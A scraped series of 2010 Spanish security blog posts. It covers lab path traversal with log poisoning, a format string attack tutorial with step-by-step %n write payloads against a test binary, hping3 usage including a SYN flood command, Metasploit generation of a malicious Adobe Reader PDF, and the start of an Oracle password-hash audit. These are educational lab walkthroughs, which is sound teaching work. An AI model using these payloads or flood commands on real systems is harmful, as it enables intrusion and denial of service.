<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZOuyDfq0I/AAAAAAAAAHg/eRB_ohG_r3Y/s1600/Pantallazo-3.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 165px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZOuyDfq0I/AAAAAAAAAHg/eRB_ohG_r3Y/s320/Pantallazo-3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5527692158261242690" /></a>
<br />
<br />Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero <b>acces_log</b> quedará de la siguiente forma:
<br />
<br /><blockquote>127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556
<br />
<br />127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00 HTTP/1.1" 200 320</blockquote>
<br /></ul>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-52096485540378792522010-10-07T08:56:00.001-07:002010-10-07T12:11:38.013-07:00Introducción a Format String Attack IISeguimos con la serie de entradas dedicadas a la técnica Format String Attack<br /><ul><li><a href="http://seguesec.blogspot.com/2010/10/introduccion-format-string-attack.html">Format String Attack I de III</a></li><li>Format String Attack II de III</li><li>Format String Attack III de III</li></ul><br /><span class="Apple-style-span" style=" font-weight: bold; font-size:32px;">Advertencia</span><br /><br /><br />Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.<br /><br />Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag <b>-fno-stack-check</b>.<br /><br /><h1>Escribiendo direcciones de memoria<br /><br /></h1>Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x<br /><br />Correcto:<br />BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x<br /><br />Incorrecto:<br />BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242<br />(-) Valor @ 0x08049648 = 50 0x00000032<br /></blockquote><br /><br />La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Correcto:<br />H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Incorrecto:<br />H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.<br />(-) Valor @ 0x08049648 = 41 0x00000029<br /></blockquote><br /><br />El valor de la variable dependerá del número de formatos que insertemos antes de %n:<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n<br /><br />Correcto:<br />H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n<br /><br />Incorrecto:<br />H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.<br />(-) Valor @ 0x08049648 = 60 0x0000003c<br /></blockquote><br />Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:<br /><br /><ul><li>Escribiremos <b>0xde000000</b> en la dirección <b>0x08049648</b></li><li>Escribiremos <b>0x00ad0000</b> en la dirección <b>0x08049649</b></li><li>Escribiremos <b>0x0000be00</b> en la dirección <b>0x0804964a</b></li><li>Escribiremos <b>0x000000ef</b> en la dirección <b>0x0804964b</b></li></ul><br />Pero como bien sabemos, una pila se caracteríza por una estructura <b>LIFO</b> (<i>Last Input First Output</i>) por tanto, la representación interna en memoria <b>deberá ser al revés</b>. El primer valor de la variable deberá ser <i>0xef</i>, seguido de <i>0xbe</i>, <i>0xad</i>, <i>0xde</i> y las respectivas direcciones a ocupar serán <i>0x08049648</i>, <i>0x08049649</i>, <i>0x0804964a</i>, <i>0x0804964b</i>.<br /><br />Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:<br /><ul><li><b>Primero</b>: <i>0xef - [Valor de la variable] + [Valor del offset]</i></li><li><b>Segundo</b>: <i>0xbe - 0xef</i></li><li><b>Tercero:</b> <i>0xad - 0xbe</i></li><li><b>Cuarto</b>: <i>0xde - 0xad</i></li></ul><br />Comencemos por escribir 0xef en la dirección 0x08049648:<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Correcto:<br />H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Incorrecto:<br />H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.<br />(-) Valor @ 0x08049648 = 41 0x00000029<br /></blockquote><br />La operación 0xef - 41:<blockquote>>>> 0xef - 41<br />198<br /></blockquote><br />Y de offset sumamos 1 (<i>esto puede variar en cada equipo</i>):<blockquote>>>> 198 + 1<br />199<br /></blockquote><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n<br /><br />Correcto:<br />H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n<br /><br />Incorrecto:<br />H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.<br />(-) Valor @ 0x08049648 = 239 0x000000ef<br /></blockquote><br />Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de <b>tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648</b>. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "<b>HOLA</b>" y escribamos nuestro format string:<br /><blockquote><br />"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br /></blockquote><br />Escribamos ahora 0xef en la primera dirección del búffer:<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br />`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Correcto:<br />H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n<br /><br />Incorrecto:<br />H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.<br />(-) Valor @ 0x08049648 = 67 0x00000043<br /></blockquote><br /><br />Obtenemos como valor para la variable 67:<blockquote>>>> 0xef-67<br />172<br /></blockquote><br />A la resta le sumamos el offset adecuado:<blockquote>>>> 172+1<br />173<br /></blockquote><br />Y obtenemos que el valor que debemos aplicar es 173:<br /><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br />`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n</blockquote><blockquote><br />Correcto:<br />H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n<br /><br />Incorrecto:<br />H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.<br />(-) Valor @ 0x08049648 = 239 0x000000ef<br /></blockquote><br />Ahora escribamos 0xbe en la segunda dirección del búffer:<blockquote>>>> 0xbe - 0xef<br />-49<br /></blockquote><br />El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del <b>bit menos significativo</b> y obtener así el valor correcto al restar 0x1be - 0xef: <blockquote>>>> 0x1be - 0xef<br />207</blockquote><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br />`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n<br /><br />Correcto:<br />H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n<br /><br />Incorrecto:<br />H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.<br />(-) Valor @ 0x08049648 = 114415 0x0001beef<br /></blockquote><br />Ahora escribamos 0xad en la tercera dirección del búffer:<br /><br /><blockquote>>>> 0xad-0xbe<br />-17<br /></blockquote><br />Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:<br /><br /><blockquote>>>> 0x1ad-0xbe<br />239<br /></blockquote><blockquote><br />root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br />`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n<br /><br />Correcto:<br />H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n<br /><br />Incorrecto:<br />H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.<br />(-) Valor @ 0x08049648 = 44941039 0x02adbeef<br /></blockquote><br /><br />Por último escribamos 0xde en la cuarta dirección del búffer:<br /><br /><blockquote>>>> 0xde-0xad<br />49<br /></blockquote><br />Como este valor sí resulta positivo, podemos inyectarlo automáticamente:<br /><br /><blockquote>root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"<br />`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n<br /><br />Correcto:<br />H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n<br /><br />Incorrecto:<br />H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.<br />(-) Valor @ 0x08049648 = -559038737 0xdeadbeef<br /></blockquote><br />Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:<br /><br /><blockquote>(-) Valor @ 0x08049648 = 50 0x00000032<br />(-) Valor @ 0x08049648 = -559038737 0xdeadbeef<br /></blockquote><br />Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como <b>DPA</b>(<i>Direct Parameter Access</i>) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones <b>.dtors</b> y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9196352698689162458.post-85534389168936936522010-10-03T04:52:00.000-07:002010-10-07T09:19:58.480-07:00Introducción a Format String AttackSerie de entradas que servirán de ejemplo para explicar los Format String Attack.<br /><ul><li>Format String Attack I de III</li><li><a href="http://seguesec.blogspot.com/2010/10/introduccion-format-string-attack-ii.html">Format String Attack II de III</a></li><li>Format String Attack III de III</li></ul><div style="text-align: center;"><br /></div><h1>Introducción</h1>Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().<br /><br />Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.<br /><br />Los formatos más comunes que se pueden utilizar son:<ul><li><b>%d</b> Formato de enteros.</li><li><b>%i</b> Formato de enteros (<i>igual que %d</i>).</li><li><b>%f</b> Formato de punto flotante.</li><li><b>%u</b> Formato sin signo.</li><li><b>%x</b> Formato hexadecimal.</li><li><b>%p</b> Muestra el correspondiente valor del puntero.</li><li><b>%c</b> Formato de carácter.</li></ul><div><br /></div><h1>Format String Vulnerability</h1><div><br /></div>La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como <b>printf</b>(<i>cadena</i>) en lugar de <b>printf</b>(<i>"%s", cadena</i>). Aunque el resultado devuelto es el mismo y funciona correctamente.<div><br />La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.</div><div><br />Veamos un <a href="http://pastebin.com/V2HafiTe">ejemplo</a><blockquote>sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.</blockquote><blockquote>Correcto: prueba.<br />Incorrecto: prueba.<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br />Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:<br /><br /><blockquote>sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x<br /><br />Correcto: BBBB%x<br />Incorrecto: BBBBbfa675ee<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br /><h1>La familia de funciones format</h1><div style="text-align: center;"><br /></div>Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.<br /><br />Funciones básicas:<br /><ul><li><b>printf</b> Imprime el flujo 'stdout'.</li><li><b>fprintf</b> Imprime el flujo de un fichero.</li><li><b>sprintf</b> Imprime en una cadena.</li><li><b>snprintf</b> Imprime en una cadena comprobando la longitud.</li><li><b>vprintf</b> Imprime en 'stdout' desde una estructura va_arg.</li><li><b>vfprintf</b> Imprime en un fichero desde una estructura va_arg.</li><li><b>vsprintf</b> Imprime en una cadena desde una estructura va_arg.</li><li><b>vsnprintf</b> Imprime en una cadena comprobando la longitud desde una estructura va_arg.</li></ul> Otras:<br /><ul><li>syslog, verr*, err*, vwarn*, warn*, setproctile</li></ul><br /><br /><h1>La pila y su funcionamiento</h1><br />El comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.<br /><br />Así:<br /><br /><blockquote>printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);</blockquote><br /><br />El aspecto de la pila para la instrucción anterior es el siguiente:<br /><img src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TKh0ChQZlAI/AAAAAAAAAG4/XfcczDGe-2U/s320/pila.jpg" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 160px; height: 160px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5523792529605628930" /> Donde:<br /><div><ul><li><b>A</b> Dirección de la cadena.</li><li><b>i</b> Valor de la variable i.</li><li><b>a</b> Valor de la variable a.</li><li><b>&a</b> Dirección de la variable a.</li></ul><br /><br />La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '<b>%</b>', especificará el tipo de parámetro a evaluar.<br /><br />La cadena '<b>%%</b>' se comporta de forma especial, y permite imprimir a la salida el carácter '<b>%</b>'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.</div></div><br /><br /><h1>Leyendo direcciones de memoria</h1><br /><br />Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.<br /><br />Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x<br /><br />Correcto:<br />BBBB%x%x%x%x%x<br />Incorrecto:<br />BBBBbffb85e60000<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br /><br />Probando un poco más<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%x<br /><br />Correcto:<br />BBBB%x%x%x%x%x%x%x%x%x%x%x%x<br />Incorrecto:<br />BBBBbfd6f5d80000b78cc0000bfd6f44400042424242<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br />Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datos<br /><br /><br />Pero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.<br /><br />Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.<br /><br /><br />El código de uso para getenv() es el <a href="http://pastebin.com/yjkNK3iZ">siguiente</a><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddr<br /></blockquote><br /><br />Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAME<br />sebas<br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAME<br />LOGNAME está localizada en 0xbfa07e44<br /></blockquote><br /><br />Ahora sabemos que la cadena "<b>sebas</b>" está almacenada en la dirección <b>0xbfa07e44</b>. Usemos el format string %x y %s con localización exacta para obtener el valor.<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%s<br /><br />Correcto:<br />D~��%x%x%x%x%x%x%x%x%x%x%x->%s<br />Incorrecto:<br />D~��bf92d5d60000b780d0000bf92c874000->sebas<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%x<br /><br />Correcto:<br />D~��%x%x%x%x%x%x%x%x%x%x%x->%x<br />Incorrecto:<br />D~��bf9615d60000b77530000bf95fd74000->bfa07e44<br />(-) Valor @ 0x0804a024 = 50 0x00000032<br /></blockquote><br /><br />En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para elloUnknownnoreply@blogger.com1tag:blogger.com,1999:blog-9196352698689162458.post-54146908283523219292010-09-26T07:51:00.000-07:002010-09-26T08:58:52.447-07:00Introducción a Hping<h1>Introducción</h1>Hping es una herramienta encargada de <b>generar y analizar paquetes TCP/IP</b>, permitiéndonos<br />falsificar la información enviada con el objetivo de realizar auditorías de seguridad<br />y poder testear redes y sistemas de detección de intrusos.<br />Para más información[<a href="http://en.wikipedia.org/wiki/Hping">wikipedia</a>]<br /><br />Para poder utilizarla, suponiendo que estamos en una distribución Ubuntu, desde terminal:<br /><br /><blockquote>sudo apt-get install hping3<br /></blockquote><br />Un paseo rápida por las páginas de man nos revela que podemos usarla para:<br /><br /><ul><li>Probar reglas de firewall.</li><li>Escaneo de puertos avanzados.</li><li>Probar el rendimiento de una red utilizando diferentes protocolos, tamaños de paquetes, tipos de servicios y fragmentación.</li><li>Descubrir la unidad máxima de transferencia (MTU) de un paquete.</li><li>Transferir ficheros a través de un firewall.</li><li>Hacer traceroute entre diferentes protocolos.</li><li>Usarlo como Firewalk.</li><li>Fingerprinting de sistemas remotos.</li><li>Auditar pila TCP/IP.</li><li>...</li></ul><span class="Apple-style-span" style=" font-weight: bold; font-size:38px;">Utilización</span><br />El uso más sencillo es <b>sustituir a la herramienta ping</b>:<div><br /><img src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TJ9e1KlIO5I/AAAAAAAAAGg/DzTeXTJTm4I/s320/01.png" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 84px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5521235935645678482" /> La única diferencia está en algunos flags de control, en este caso <b>RA</b> hace referencia a <a href="http://es.wikipedia.org/wiki/Flag_RST">RST/ACK</a> que nos informa de que el puerto está cerrado.<br /><br />Probamos haciendo uso de otro puerto:</div><div><br /></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TJ9fLYaKZ7I/AAAAAAAAAGo/ZJ3L2EmM7O8/s320/02.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5521236317314901938" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 384px; height: 74px; " /></span></div><div><span class="Apple-style-span" style="color:#0000EE;"><br /></span></div><div> En este caso observamos como el flag está marcado a <b>SA</b>, lo cual hace referencia a <a href="http://es.wikipedia.org/wiki/ACK">SYN/ACK</a> o lo que es lo mismo, nos está informando de que el puerto se encuentra abierto.</div><div><br /></div><div>Otro uso que podemos darle a hping es emplearlo como el comando <b>traceroute</b>, y que nos muestre el camino que recorre un paquete desde su origen hasta el destino. Configurando los flags a nuestro antojo, en este caso podemos lanzar el comando con la opción <b>-t</b> donde especificamos el valor del <b>TTL</b>(<a href="http://es.wikipedia.org/wiki/Tiempo_de_vida_(inform%C3%A1tica)">time to live</a>), y con <b>-z</b> que a cada pulsación de CNTRL+z incrementamos en uno el valor del <b>TTL</b>.</div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BcfTeHrlYdY/TJ9iyyxdSVI/AAAAAAAAAGw/6OxMC789UeE/s1600/03.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 247px;" src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TJ9iyyxdSVI/AAAAAAAAAGw/6OxMC789UeE/s320/03.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5521240292941711698" /></a>Otras posibilidades pueden ser:<div><ul><li>Hacer escaneos de puertos del 100 al 110:<br /><blockquote>hping3 seguesec.blogspot.com -V --scan 100-110</blockquote><span class="Apple-style-span" style=" color: rgb(115, 115, 140); line-height: 18px; font-family:'trebuchet ms', helvetica, sans-serif;font-size:10px;"><br /></span></li><li>Enviar paquetes UDP spoofeados desde varios destinos:<br /><blockquote>hping3 seguesec.blogspot.com --udp --rand-source</blockquote></li><li>Firmar paquetes:<br /><blockquote>hping3 -2 -p 7 seguesec.blogspot.com -d 70 -E text.txt</blockquote></li><li>Enviar paquetes ICMP a un determinado host<br /><blockquote>hping3 seguesec.blogspot.com --icmp -V</blockquote></li><li>Enviar paquetes TCP SYM cada determinados segundos a un puerto específico<br /><blockquote>hping3 seguesec.blogspot.com -S -V -p puerto -i segundos</blockquote></li></ul><ul><li>Y si quieres empezar a tocar las narices provocar un SYN Flood Attack con el siguiente comando:</li><blockquote>hping3 -i ul -S -p 80 192.168.0.10</blockquote></ul></div><div>Otras opciones más interesantes pasan por hacer <b>packet crafting</b> o <b>probar las reglas del firewall</b>, que veremos en entradas posteriores.</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-87517373211685307112010-09-10T07:21:00.000-07:002010-09-10T08:03:30.392-07:00Explotando Adobe Cooltype SingHace unos días apareció una nueva vulnerabilidad en los productos Adobe, en especial para el lector PDF Adobe Reader, en este caso aprovechando una vulnerabilidad en el campo "<b>uniqueName</b>" situado dentro de la estructura de la tabla de fuentes True Type, permitiendo al atacante producir un desbordamiento de pila y ejecutar código arbitrario.<br /><br />En Metasploit no han tardado mucho en desarrollar un exploit e integrarlo para que podamos hacer las pruebas: <a href="https://www.metasploit.com/redmine/projects/framework/repository/revisions/10280/entry/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb">adobe_cooltype_sing.rb</a><br /><br />Para poder explotarla:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BcfTeHrlYdY/TIpFEWI0FiI/AAAAAAAAAF8/CMcW63cTq7g/s1600/01-exp.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 158px;" src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TIpFEWI0FiI/AAAAAAAAAF8/CMcW63cTq7g/s320/01-exp.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5515296634632934946" /></a><br /><br />Los parámetros a configurar son el nombre del PDF que se genera y el path donde se almacenará, también podemos configurar el objetivo sobre el cuál queremos lanzarlo.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpGqJUCQWI/AAAAAAAAAGE/EtpVU-3Yeac/s1600/02exp.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 45px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpGqJUCQWI/AAAAAAAAAGE/EtpVU-3Yeac/s320/02exp.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5515298383536996706" /></a><br /><br />Cargamos el payload a lanzar<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpHQx47cFI/AAAAAAAAAGM/d_HgOdErHbg/s1600/exp3.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 314px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpHQx47cFI/AAAAAAAAAGM/d_HgOdErHbg/s320/exp3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5515299047264186450" /></a><br /><br />Y por último ejecutamos el exploit y lanzamos el handler a la espera de que el objetivo ejecute el PDF y nos devuelva la sesión<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpIKtjMEQI/AAAAAAAAAGU/lnVY7hpzfH8/s1600/exp4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 213px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TIpIKtjMEQI/AAAAAAAAAGU/lnVY7hpzfH8/s320/exp4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5515300042531672322" /></a><br /><br />El único problema es que en determinadas plataformas y versiones de Adobe Reader este se queda colgado y no ejecuta el PDF.<br /><br />Si os dais una vuelta por el SVN del exploit podréis observar los nuevos commits que se van añadiendo y las versiones que se van soportando.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-88681726805623811202010-08-07T09:20:00.001-07:002010-08-07T13:11:28.894-07:00Auditoría de claves Oracle - Mecanismos de contraseñas usado por Oracle<b>Auditoría de claves Oracle - Mecanismos de contraseñas usado por Oracle (I)</b><br />Auditoría de claves Oracle - Obtener claves de Oracle (II)<br />Auditoría de claves Oracle - Auditorizando las claves de Oracle (III)<br />Auditoría de claves Oracle - Recomendaciones para mejorar la seguridad (IV)<br /><br />Comienzo otra nueva tanda de entradas donde trataré de dar un enfoque personal a lo que viene ser la auditoría de claves sobre productos Oracle. Si no te gusta el formato que utilizo para dividir las entradas siempre puedes ver directamente el fichero PDF que escribí hace un tiempo.<br /><br /><a href="http://www.scribd.com/doc/29556091/auditoria-oracle">PDF - Auditoría de claves Oracle</a><br /><br />Comenzaremos por dar un enfoque sobre los mecanismos de seguridad que son utilizados para generar las claves de forma interna en nuestras base de datos.<br /><br /><h1>Mecanismos de contraseñas usados por Oracle</h1>Las contraseñas de las cuentas de usuario son almacenadas en la tabla <b>SYS.USER$</b> empleando hashes de 8-bytes conseguidos mediant un algoritmo de hashing sin documentar.<br /><br />En un estudio realizado Joshua Wright & Carlos Cid se recogieron una serie de puntos débiles que comprometían la protección de contraseñas utilizadas en el mecanismo de autenticación:<br /><br /><ul><li>Un salt para generar contraseñas muy pobre.</li><br /><li>Pobre juego de caracteres permitidos.</li><br /><li>Algoritmo de hashing bastante débil.</li><br /></ul>El conocimiento de esto por parte de un atacante permitiria obtener la contraseña en texto plano del hash almacenado para un determinado usuario.<br /><br /><h1>Un salt para generar contraseñas muy pobre</h1>Oracle utiliza una tecnica poco convencional para la obtención de los salt, anteponiendo el nombre de usuario a la contraseña antes de calcular el hash.<br /><br />Esto permite la posibilidad de obtener información sobre la contraseña de un usuario basándonos únicamente en su valor de hash y los credenciales conocidos para cualquier otro usuario.<br /><span class="Apple-style-span" 